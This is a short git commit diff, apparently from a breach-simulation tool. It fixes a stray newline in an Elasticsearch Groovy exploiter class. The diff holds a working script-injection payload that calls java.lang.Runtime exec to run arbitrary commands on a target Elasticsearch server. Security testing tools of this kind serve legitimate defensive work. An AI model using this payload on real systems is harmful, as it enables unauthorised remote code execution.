agent: Fix bug caused by unintentional newline in elastic exploiter

This commit is contained in:
Mike Salvatore 2021-04-07 19:10:36 -04:00
parent 39843527ae
commit b3c8ce28ed
1 changed files with 3 additions and 4 deletions

View File

@ -36,10 +36,9 @@ class ElasticGroovyExploiter(WebRCE):
GENERIC_QUERY = (
"""{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD
)
JAVA_CMD = (
GENERIC_QUERY
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(
\\"%s\\").getText()"""
JAVA_CMD = GENERIC_QUERY % (
"""java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec("""
"""\\"%s\\").getText()"""
)
_TARGET_OS_TYPE = ["linux", "windows"]